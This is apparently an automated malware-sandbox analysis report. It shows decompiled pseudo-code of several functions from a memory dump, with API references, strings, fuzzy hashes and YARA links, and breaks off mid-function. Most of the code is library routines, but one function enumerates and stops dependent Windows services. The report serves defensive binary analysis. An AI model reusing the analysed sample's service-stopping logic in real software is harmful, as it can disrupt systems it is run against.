				signed int _t129;

				_push(0xffffffff);
				_push(0x134d48);
				_push( *[fs:0x0]);
				_t129 = _t128 - 0x4c;
				_t48 =  *0x16f170; // 0xd529e887
				_t49 = _t48 ^ _t125;
				_v20 = _t49;
				_push(_t49);
				 *[fs:0x0] =  &_v16;
				_t119 = __ecx;
				_push( &_v92);
				_push(0x17156c);
				_push("OutputBuffer");
				_v92 = 0;
				_v88 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 4))))() == 0) {
					E00064B00( &_v44, "ArraySink: missing OutputBuffer argument");
					_v8 = 0;
					E00059080( &_v44);
					E001047B7( &_v84, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t126 = _t129;
					_t60 =  *0x16f170; // 0xd529e887
					_t61 = _t60 ^ _t126;
					_v132 = _t61;
					 *[fs:0x0] =  &_v128;
					_t114 =  &_v84;
					_t87 = _t114 + 0x20;
					_t120 = _t114 + 0x18;
					 *((intOrPtr*)( *_t114 + 0xd0))(_v108, _t120, _t114 + 0x1c, _t87, _t61, _t113, _t119, __ebx,  *[fs:0x0], 0x134d48, 0xffffffff, _t125);
					_t65 =  *_t120;
					if( *_t120 == 0xffffffff ||  *((intOrPtr*)(_t114 + 0x1c)) < 1 ||  *_t87 == 0xffffffff) {
						E00064B00( &_v48, "FilterWithBufferedInput: invalid buffer size");
						_v12 = 0;
						E00059080( &_v48);
						E001047B7( &_v88, 0x16c9bc);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t121 = _v224;
						_t115 =  &_v88;
						_t73 =  *((intOrPtr*)( *((intOrPtr*)( *_t121 + 4))))("PutMessage", 0x176030,  &_v221, _t114, _t120, _t126);
						_push( &_v224);
						asm("sbb al, al");
						 *(_t115 + 0x30) =  ~_t73 & _v221;
						_push(0x174650);
						_push("TruncatedDigestSize");
						if( *((intOrPtr*)( *((intOrPtr*)( *_t121 + 4))))() == 0) {
							L10:
							_t80 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t115 + 0x2c)))) + 0x20))();
						} else {
							_t80 = _v4;
							if(_t80 < 0) {
								goto L10;
							}
						}
						 *((intOrPtr*)(_t115 + 0x34)) = _t80;
						return _t80;
					} else {
						E000B3640(_t114 + 0x28, 1, _t65);
						 *((char*)(_t114 + 0x24)) = 0;
						 *[fs:0x0] = _v20;
						return E000ECED8(_v24 ^ _t126);
					}
				} else {
					 *((intOrPtr*)(__ecx + 0xc)) = _v92;
					 *((intOrPtr*)(__ecx + 0x10)) = _v88;
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t125);
				}
			}

0x000b1fb3
0x000b1fb5
0x000b1fc0
0x000b1fc1
0x000b1fc4
0x000b1fc9
0x000b1fcb
0x000b1fcf
0x000b1fd3
0x000b1fd9
0x000b1fe1
0x000b1fe2
0x000b1fe7
0x000b1fee
0x000b1ff5
0x000b2003
0x000b2035
0x000b203d
0x000b2048
0x000b2056
0x000b205b
0x000b205c
0x000b205d
0x000b205e
0x000b205f
0x000b2061
0x000b2074
0x000b2079
0x000b207b
0x000b2085
0x000b208b
0x000b208f
0x000b209a
0x000b20a1
0x000b20a7
0x000b20ac
0x000b20ee
0x000b20f6
0x000b2101
0x000b210f
0x000b2114
0x000b2115
0x000b2116
0x000b2117
0x000b2118
0x000b2119
0x000b211a
0x000b211b
0x000b211c
0x000b211d
0x000b211e
0x000b211f
0x000b2124
0x000b2128
0x000b213f
0x000b2146
0x000b2147
0x000b214e
0x000b2153
0x000b2158
0x000b2164
0x000b216d
0x000b2172
0x000b2166
0x000b2166
0x000b216b
0x00000000
0x00000000
0x000b216b
0x000b2175
0x000b217b
0x000b20b9
0x000b20bf
0x000b20c4
0x000b20cb
0x000b20e3
0x000b20e3
0x000b2005
0x000b2008
0x000b200e
0x000b2014
0x000b202a
0x000b202a

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000B2056

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

ArraySink: missing OutputBuffer argument, xrefs: 000B202D
OutputBuffer, xrefs: 000B1FE7

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID: ArraySink: missing OutputBuffer argument$OutputBuffer
API String ID: 3939691812-3781944848
Opcode ID: ed7a5d8024fc56e8b6945ef927615aaae6fd97cde8d9a225d3543a0a3c3f8b0f
Instruction ID: ecd703e36cd609fd0b2450b7baa425c2f5ed97f060c7ff60fe55f21640371e60
Opcode Fuzzy Hash: ed7a5d8024fc56e8b6945ef927615aaae6fd97cde8d9a225d3543a0a3c3f8b0f
Instruction Fuzzy Hash: 6B113D719402489FCB14DFD4D845FEEBBF4FB49714F00452AE416AB381DB75A908CB90

Uniqueness

Uniqueness Score: 100.00%

Function 0006E6D0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
UNIQUE

Download Yara Rule

C-Code - Quality: 84%

			E0006E6D0(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v196;
				void* __ebp;
				signed int _t11;
				char* _t13;
				void* _t14;
				void* _t22;
				signed int _t30;
				void* _t31;
				void* _t32;
				void* _t33;

				_t29 = __esi;
				_t28 = __edi;
				_t27 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_push(0xffffffff);
				_push(0x12ee93);
				_push( *[fs:0x0]);
				_t32 = _t31 - 0xb8;
				_t11 =  *0x16f170; // 0xd529e887
				_push(_t11 ^ _t30);
				_t13 =  &_v16;
				 *[fs:0x0] = _t13;
				if( *0x17a480 != 0) {
					_v20 = 0x17a4f8;
					_t14 = E000DA3B6(0x17a4f8);
					_t33 = _t32 + 4;
					_t39 = _t14;
					if(_t14 != 0) {
						E000D7281(__ebx, _t22, __edx, __edi, __esi, _t14);
						_t33 = _t33 + 4;
					}
					_v8 = 0;
					E00064C00( &_v196, _t39, "c:/.log", 0xc);
					_v8 = 1;
					E0006DBF0(_t21, E0006C590( &_v196, "unknown exception"));
					E00060FB0( &_v196);
					_v8 = 2;
					_t13 = E000DA3DB(0x17a4f8);
					if(_t13 != 0) {
						_t13 = E000D7281(_t21,  &_v196, _t27, _t28, _t29, _t13);
					}
				}
				 *[fs:0x0] = _v16;
				return _t13;
			}

0x0006e6d0
0x0006e6d0
0x0006e6d0
0x0006e6d0
0x0006e6d0
0x0006e6d3
0x0006e6d5
0x0006e6e0
0x0006e6e1
0x0006e6e7
0x0006e6ee
0x0006e6ef
0x0006e6f2
0x0006e6ff
0x0006e70a
0x0006e711
0x0006e716
0x0006e719
0x0006e71b
0x0006e71e
0x0006e723
0x0006e723
0x0006e729
0x0006e73d
0x0006e748
0x0006e758
0x0006e766
0x0006e770
0x0006e777
0x0006e781
0x0006e784
0x0006e789
0x0006e781
0x0006e78f
0x0006e79a

APIs

Part of subcall function 000DA3B6: mtx_do_lock.LIBCPMT ref: 000DA3BE

Part of subcall function 00060FB0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00061021

__Mtx_unlock.LIBCPMT ref: 0006E777

Part of subcall function 000D7281: std::_Throw_Cpp_error.LIBCPMT ref: 000D72A8

Strings

c:/.log, xrefs: 0006E738
unknown exception, xrefs: 0006E74C

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Cpp_errorIos_base_dtorMtx_unlockThrow_mtx_do_lockstd::_std::ios_base::_
String ID: c:/.log$unknown exception
API String ID: 1715006059-3854343583
Opcode ID: 0918193c0d04d7be9e6ba7439ede9031680a2a9f52ed768264eae88f5fdcbefb
Instruction ID: e1fb032568b0753f69ec2c29817081a5fca1a528d374fc043976cef9b91009ba
Opcode Fuzzy Hash: 0918193c0d04d7be9e6ba7439ede9031680a2a9f52ed768264eae88f5fdcbefb
Instruction Fuzzy Hash: 4111E7B1D04344D6DB10EBA0EC0ABDE77B9AB05704F440669B819A72C2EBB56648C663

Uniqueness

Uniqueness Score: 100.00%

Function 00051370, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00051370(void* __esi) {
				intOrPtr _v8;
				char _v12;
				long _v16;
				long _t7;
				void* _t13;
				long _t15;

				_t15 = TlsAlloc();
				if(_t15 != 0xffffffff) {
					L2:
					 *0x17a5cc = _t15;
					return E000ED2BB(_t26, 0x138870);
				} else {
					_t7 = GetLastError();
					_v16 = _t7;
					_v8 = 0x1522a0;
					_v12 = _t7 != 0;
					_t26 = _t7;
					if(_t7 != 0) {
						L00056240( &_v16, "tss", _t13, _t15);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						return E000ED2BB(__eflags, 0x1388a0);
					} else {
						goto L2;
					}
				}
			}

0x0005137d
0x00051382
0x0005139e
0x000513a3
0x000513b5
0x00051384
0x00051384
0x0005138c
0x0005138f
0x00051396
0x0005139a
0x0005139c
0x000513be
0x000513c3
0x000513c4
0x000513c5
0x000513c6
0x000513c7
0x000513c8
0x000513c9
0x000513ca
0x000513cb
0x000513cc
0x000513cd
0x000513ce
0x000513cf
0x000513db
0x00000000
0x00000000
0x00000000
0x0005139c

APIs

TlsAlloc.KERNEL32 ref: 00051377
GetLastError.KERNEL32 ref: 00051384

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Strings

tss, xrefs: 000513B6

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AllocErrorLast__onexit
String ID: tss
API String ID: 2153810260-1638339373
Opcode ID: 81a76302bed9245031122bd8e7b0284c24a98b5462df769255d09b67ef240c9b
Instruction ID: 1d8d01d55190aa74031e545fe8ce115252ae1f864c2dec09a43e268e5eae7520
Opcode Fuzzy Hash: 81a76302bed9245031122bd8e7b0284c24a98b5462df769255d09b67ef240c9b
Instruction Fuzzy Hash: 6BF0EC71D002149FD710BF756C056CE77B49F11721F9443AAFC55A2982EBB18B988BC3

Uniqueness

Uniqueness Score: 6.12%

Function 00094790, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
synchronizationUNIQUE

Download Yara Rule

C-Code - Quality: 62%

			E00094790(void* __ebx, void** __ecx, intOrPtr __edx, void* __edi, void* __esi, void*** _a4, signed int _a8) {
				struct _ENUM_SERVICE_STATUS* _v12;
				char _v16;
				char _v24;
				signed int _v32;
				signed int _v36;
				char _v40;
				long _v48;
				signed int _v52;
				intOrPtr _v68;
				struct _SERVICE_STATUS _v72;
				int _v76;
				int _v80;
				void* _v84;
				signed int _v88;
				int _v92;
				int _v96;
				intOrPtr _v100;
				void* _v104;
				long _v112;
				intOrPtr _v116;
				intOrPtr _v124;
				void* __ebp;
				signed int _t49;
				long _t50;
				signed int _t56;
				signed int _t57;
				intOrPtr _t59;
				short* _t77;
				struct _SERVICE_STATUS* _t83;
				void*** _t86;
				void* _t87;
				void** _t90;
				void* _t91;
				intOrPtr _t96;
				void* _t97;
				void* _t98;
				signed int _t100;
				void** _t102;
				struct _ENUM_SERVICE_STATUS* _t105;
				void* _t106;
				void* _t110;
				signed int _t111;

				_t97 = __edi;
				_t96 = __edx;
				_t87 = __ebx;
				_t49 = _a8;
				_t111 = _t110 - 0xc;
				_t102 = __ecx;
				if( *((char*)(_t49 + 4)) == 0) {
					_t50 = _t49 | 0xffffffff;
				} else {
					_t50 =  *_t49;
				}
				_t90 = WaitForSingleObject( *_t102, _t50);
				if(_t90 == 0x80) {
					_t91 =  &_v16;
					E00051B00(_t91, "failed to lock mutex");
					E001047B7( &_v16, 0x16d3cc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t109 = _t111;
					_push(0xfffffffe);
					_push(0x1634b8);
					_push( &M00104660);
					_push( *[fs:0x0]);
					_t56 =  *0x16f170; // 0xd529e887
					_v32 = _v32 ^ _t56;
					_t57 = _t56 ^ _t111;
					_v52 = _t57;
					_push(_t87);
					_push(_t102);
					_push(_t97);
					_push(_t57);
					 *[fs:0x0] =  &_v40;
					_t59 = _t96;
					_v100 = _t59;
					_t98 = _t91;
					_v124 = _t59;
					_v112 = GetTickCount();
					_v116 = 0x7530;
					if(EnumDependentServicesW(_t98, 1, 0, 0,  &_v92,  &_v96) == 0) {
						if(GetLastError() != 0xea) {
							L19:
						} else {
							_t105 = HeapAlloc(GetProcessHeap(), 8, _v76);
							_v92 = _t105;
							if(_t105 == 0) {
								goto L19;
							} else {
								_v12 = 0;
								if(EnumDependentServicesW(_t98, 1, _t105, _v76,  &_v76,  &_v80) == 0) {
									L18:
									E0010CF30(_t109, 0x16f170,  &_v24, 0xfffffffe);
									goto L19;
								} else {
									_t100 = 0;
									_v88 = 0;
									while(_t100 < _v80) {
										asm("movups xmm1, [esi+eax*4]");
										asm("movups xmm0, [esi+eax*4+0x10]");
										asm("movups [ebp-0x78], xmm0");
										_t77 =  *(_t105 + 0x20 + (_t100 + _t100 * 8) * 4);
										_v112 = _t77;
										asm("movd eax, xmm1");
										_t106 = OpenServiceW(_v84, _t77, 0x24);
										_v104 = _t106;
										if(_t106 == 0) {
											goto L18;
										} else {
											_v12 = 1;
											if(ControlService(_t106, 1,  &_v72) == 0) {
												goto L18;
											} else {
												while(_v68 != 1) {
													Sleep(_v48);
													_t83 =  &_v72;
													__imp__QueryServiceStatusEx(_t106, 0, _t83, 0x24,  &_v76);
													if(_t83 == 0) {
														goto L18;
													} else {
														if(_v68 == 1) {
															break;
														} else {
															if(GetTickCount() - _v96 <= _v100) {
																continue;
															} else {
																goto L18;
															}
														}
													}
													goto L23;
												}
												_v12 = 0;
												E0009497A(_t106);
												_t100 = _t100 + 1;
												_v88 = _t100;
												_t105 = _v92;
												continue;
											}
										}
										goto L23;
									}
									_v12 = 0xfffffffe;
									E000949B2(_t105);
									goto L22;
								}
							}
						}
					}
					L23:
					 *[fs:0x0] = _v24;
					return E000ECED8(_v36 ^ _t109);
				} else {
					_t86 = _a4;
					 *_t86 = _t102;
					_t86[1] = _t90;
					return _t86;
				}
			}

0x00094790
0x00094790
0x00094790
0x00094793
0x00094796
0x0009479e
0x000947a0
0x000947a6
0x000947a2
0x000947a2
0x000947a2
0x000947b2
0x000947ba
0x000947d0
0x000947d3
0x000947e1
0x000947e6
0x000947e7
0x000947e8
0x000947e9
0x000947ea
0x000947eb
0x000947ec
0x000947ed
0x000947ee
0x000947ef
0x000947f1
0x000947f3
0x000947f5
0x000947fa
0x00094805
0x00094809
0x0009480e
0x00094811
0x00094813
0x00094816
0x00094817
0x00094818
0x00094819
0x0009481d
0x00094823
0x00094825
0x00094828
0x0009482a
0x00094833
0x00094836
0x00094854
0x00094865
0x00094952
0x0009486b
0x0009487e
0x00094880
0x00094885
0x00000000
0x0009488b
0x0009488b
0x000948a9
0x0009493f
0x0009494a
0x00000000
0x000948af
0x000948af
0x000948b1
0x000948b4
0x000948c0
0x000948c4
0x000948c9
0x000948cd
0x000948d1
0x000948d6
0x000948e4
0x000948e6
0x000948eb
0x00000000
0x000948ed
0x000948ed
0x00094903
0x00000000
0x00094905
0x00094905
0x0009490e
0x0009491a
0x00094921
0x00094929
0x00000000
0x0009492b
0x0009492f
0x00000000
0x00094931
0x0009493d
0x00000000
0x00000000
0x00000000
0x00000000
0x0009493d
0x0009492f
0x00000000
0x00094929
0x00094956
0x0009495d
0x00094962
0x00094963
0x00094966
0x00000000
0x00094966
0x00094903
0x00000000
0x000948eb
0x00094982
0x00094989
0x00000000
0x00094989
0x000948a9
0x00094885
0x00094865
0x00094993
0x00094996
0x000949ae
0x000947bc
0x000947bc
0x000947bf
0x000947c1
0x000947c8
0x000947c8

APIs

WaitForSingleObject.KERNEL32(?,?), ref: 000947AC

Part of subcall function 00051B00: ___std_exception_copy.LIBVCRUNTIME ref: 00051B28

__CxxThrowException@8.LIBVCRUNTIME ref: 000947E1

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

failed to lock mutex, xrefs: 000947CB

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8ObjectRaiseSingleThrowWait___std_exception_copy
String ID: failed to lock mutex
API String ID: 3653113103-2971087998
Opcode ID: ff7b854f9c15ba7eb93bc8e64e5004ae1d9be75dd4e36a7e09caa7f4c5862291
Instruction ID: bc74664279b152f61e59842127d75628407a7ffeeed941323903cd23178f9bb7
Opcode Fuzzy Hash: ff7b854f9c15ba7eb93bc8e64e5004ae1d9be75dd4e36a7e09caa7f4c5862291
Instruction Fuzzy Hash: 97F0E270A08208AFDB14EB68E849EACBBE8AF05311F108255F89187291EBB0A8048780

Uniqueness

Uniqueness Score: 100.00%

Function 000AAAC0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
UNIQUE

Download Yara Rule

C-Code - Quality: 28%

			E000AAAC0(WCHAR* _a4, WCHAR* _a8, intOrPtr _a12) {
				WCHAR* _t6;
				long _t8;
				WCHAR* _t10;
				WCHAR* _t11;
				WCHAR* _t12;

				_t12 = _a8;
				_t6 = _t12;
				if(_t12[0xa] >= 8) {
					_t6 =  *_t12;
				}
				_t11 = _a4;
				_t10 = _t11;
				if(_t11[0xa] >= 8) {
					_t10 =  *_t11;
				}
				if(MoveFileExW(_t10, _t6, 3) != 0) {
					_t8 = 0;
				} else {
					_t8 = GetLastError();
				}
				_push("boost::filesystem::rename");
				_push(_a12);
				_push(_t12);
				return E000AA1A0(_t8, _t11);
			}

0x000aaac1
0x000aaac5
0x000aaacc
0x000aaace
0x000aaace
0x000aaad0
0x000aaad4
0x000aaada
0x000aaadc
0x000aaadc
0x000aaaea
0x000aaaf4
0x000aaaec
0x000aaaec
0x000aaaec
0x000aaaf6
0x000aaafb
0x000aaaff
0x000aab0c

APIs

MoveFileExW.KERNEL32(?,?,00000003), ref: 000AAAE2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AAAEC

Part of subcall function 000AA1A0: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA26A

Strings

boost::filesystem::rename, xrefs: 000AAAF6

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorException@8FileLastMoveThrow
String ID: boost::filesystem::rename
API String ID: 2666395733-2110873845
Opcode ID: ca57ecd382c57b1af10e45221ec3886126134b9a0e7e7b45d26d8dad3c59c55e
Instruction ID: ad477a3ed3d9bb5936b8a28e1ca13199cef5b2b7bdeb492accb791b65e610ba6
Opcode Fuzzy Hash: ca57ecd382c57b1af10e45221ec3886126134b9a0e7e7b45d26d8dad3c59c55e
Instruction Fuzzy Hash: 03F0A030304200AFD6244F58ED0C92BBBE9EFA7751F00041CF88583280D330D981DBA3

Uniqueness

Uniqueness Score: 100.00%

Function 0010C8B5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0010C8B5(signed int* _a4) {
				intOrPtr* _t8;
				signed int* _t13;
				intOrPtr _t14;

				_t8 =  *0x179b64; // 0x0
				_t14 =  *_t8;
				if(_t14 == 0) {
					E00107A2B(_a4, 1);
					goto L5;
				} else {
					if(_t14 == 0x41) {
						 *0x179b64 = _t8 + 1;
						E001079F8(_a4, "{flat}");
						L5:
						return _a4;
					} else {
						_t13 = _a4;
						_t13[1] = _t13[1] & 0x00000000;
						 *_t13 =  *_t13 & 0x00000000;
						_t13[1] = 2;
						return _t13;
					}
				}
			}

0x0010c8b8
0x0010c8bd
0x0010c8c1
0x0010c8f2
0x00000000
0x0010c8c3
0x0010c8c6
0x0010c8e1
0x0010c8e6
0x0010c8f7
0x0010c8fb
0x0010c8c8
0x0010c8c8
0x0010c8cb
0x0010c8cf
0x0010c8d2
0x0010c8d7
0x0010c8d7
0x0010c8c6

APIs

DName::DName.LIBVCRUNTIME ref: 0010C8E6

Part of subcall function 001079F8: DName::doPchar.LIBVCRUNTIME ref: 00107A1F

DName::DName.LIBVCRUNTIME ref: 0010C8F2

Strings

{flat}, xrefs: 0010C8DC

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: NameName::$Name::doPchar
String ID: {flat}
API String ID: 3088877975-2606204563
Opcode ID: bee008effda9e32874286492d0fcf50e5e9afd7e69cba9c25e0634059d8e81a3
Instruction ID: bb6d03796f52a537ee4139f25d147bdab88a72cc959f0c41d61468938ecba1e2
Opcode Fuzzy Hash: bee008effda9e32874286492d0fcf50e5e9afd7e69cba9c25e0634059d8e81a3
Instruction Fuzzy Hash: CCF039706447489FEB00DB58E465FA83BE5AB01715F09C046E58C4F6E2C7B4A8848BD8

Uniqueness

Uniqueness Score: 0.76%

Function 000D9C55, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
UNIQUE

Download Yara Rule

C-Code - Quality: 68%

			E000D9C55(intOrPtr _a4) {
				char _v20;

				E000D9A93( &_v20, _a4);
				E001047B7( &_v20, 0x169d58);
				asm("int3");
				return "bad function call";
			}

0x000d9c61
0x000d9c6f
0x000d9c74
0x000d9c7a

APIs

std::regex_error::regex_error.LIBCPMT ref: 000D9C61
__CxxThrowException@8.LIBVCRUNTIME ref: 000D9C6F

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

bad function call, xrefs: 000D9C75

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8RaiseThrowstd::regex_error::regex_error
String ID: bad function call
API String ID: 1019185057-3612616537
Opcode ID: 2e7500fd6c6fc2488b3e2387b4f3798d00af644a1c6997aa47457b4ef6b7977b
Instruction ID: 4160439eabcea4e84a0f4f155cfd122bdeeed684dbe1cbd48b9e34085dc4de3a
Opcode Fuzzy Hash: 2e7500fd6c6fc2488b3e2387b4f3798d00af644a1c6997aa47457b4ef6b7977b
Instruction Fuzzy Hash: 60C01235C0020D67CB04F6E8CD46CED767CBE10300FD00839771052596DB74951546D1

Uniqueness

Uniqueness Score: 100.00%

Function 00110D77, Relevance: 5.1, APIs: 4, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00110D77(void* __edx, short* _a4, char* _a8, int _a12, intOrPtr _a16) {
				char* _v8;
				int _v12;
				char _v16;
				char _v24;
				char _v28;
				void* __ebx;
				char _t34;
				int _t35;
				int _t38;
				long _t39;
				char* _t42;
				int _t44;
				int _t47;
				int _t53;
				intOrPtr _t55;
				void* _t56;
				char* _t57;
				char* _t62;
				char* _t63;
				void* _t64;
				int _t65;
				short* _t67;
				short* _t68;
				int _t69;
				intOrPtr* _t70;

				_t64 = __edx;
				_t53 = _a12;
				_t67 = _a4;
				_t68 = 0;
				if(_t67 == 0) {
					L3:
					if(_a8 != _t68) {
						E0010E0A3(_t53,  &_v28, _t64, _a16);
						_t34 = _v24;
						__eflags = _t67;
						if(_t67 == 0) {
							__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
							if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
								_t69 = _t68 | 0xffffffff;
								_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t68, _t68);
								__eflags = _t35;
								if(_t35 != 0) {
									L29:
									_t28 = _t35 - 1; // -1
									_t69 = _t28;
									L30:
									__eflags = _v16;
									if(_v16 != 0) {
										_t55 = _v28;
										_t31 = _t55 + 0x350;
										 *_t31 =  *(_t55 + 0x350) & 0xfffffffd;
										__eflags =  *_t31;
									}
									return _t69;
								}
								 *((intOrPtr*)(E0010FAC5())) = 0x2a;
								goto L30;
							}
							_t70 = _a8;
							_t25 = _t70 + 1; // 0x1
							_t56 = _t25;
							do {
								_t38 =  *_t70;
								_t70 = _t70 + 1;
								__eflags = _t38;
							} while (_t38 != 0);
							_t69 = _t70 - _t56;
							goto L30;
						}
						__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
						if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
							_t69 = _t68 | 0xffffffff;
							_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t67, _t53);
							__eflags = _t35;
							if(_t35 != 0) {
								goto L29;
							}
							_t39 = GetLastError();
							__eflags = _t39 - 0x7a;
							if(_t39 != 0x7a) {
								L21:
								 *((intOrPtr*)(E0010FAC5())) = 0x2a;
								 *_t67 = 0;
								goto L30;
							}
							_t42 = _a8;
							_t57 = _t42;
							_v8 = _t57;
							_t65 = _t53;
							__eflags = _t53;
							if(_t53 == 0) {
								L20:
								_t44 = MultiByteToWideChar( *(_v24 + 8), 1, _t42, _t57 - _t42, _t67, _t53);
								__eflags = _t44;
								if(_t44 != 0) {
									_t69 = _t44;
									goto L30;
								}
								goto L21;
							} else {
								goto L15;
							}
							while(1) {
								L15:
								_t45 =  *_t57;
								_v12 = _t65 - 1;
								__eflags =  *_t57;
								if(__eflags == 0) {
									break;
								}
								_t47 = E00120DBF(__eflags, _t45 & 0x000000ff,  &_v24);
								_t62 = _v8;
								__eflags = _t47;
								if(_t47 == 0) {
									L18:
									_t65 = _v12;
									_t57 = _t62 + 1;
									_v8 = _t57;
									__eflags = _t65;
									if(_t65 != 0) {
										continue;
									}
									break;
								}
								_t62 = _t62 + 1;
								__eflags =  *_t62;
								if( *_t62 == 0) {
									goto L21;
								}
								goto L18;
							}
							_t42 = _a8;
							goto L20;
						}
						__eflags = _t53;
						if(_t53 == 0) {
							goto L30;
						}
						_t63 = _a8;
						while(1) {
							 *_t67 =  *(_t68 + _t63) & 0x000000ff;
							__eflags =  *(_t68 + _t63);
							if( *(_t68 + _t63) == 0) {
								goto L30;
							}
							_t68 =  &(_t68[0]);
							_t67 =  &(_t67[1]);
							__eflags = _t68 - _t53;
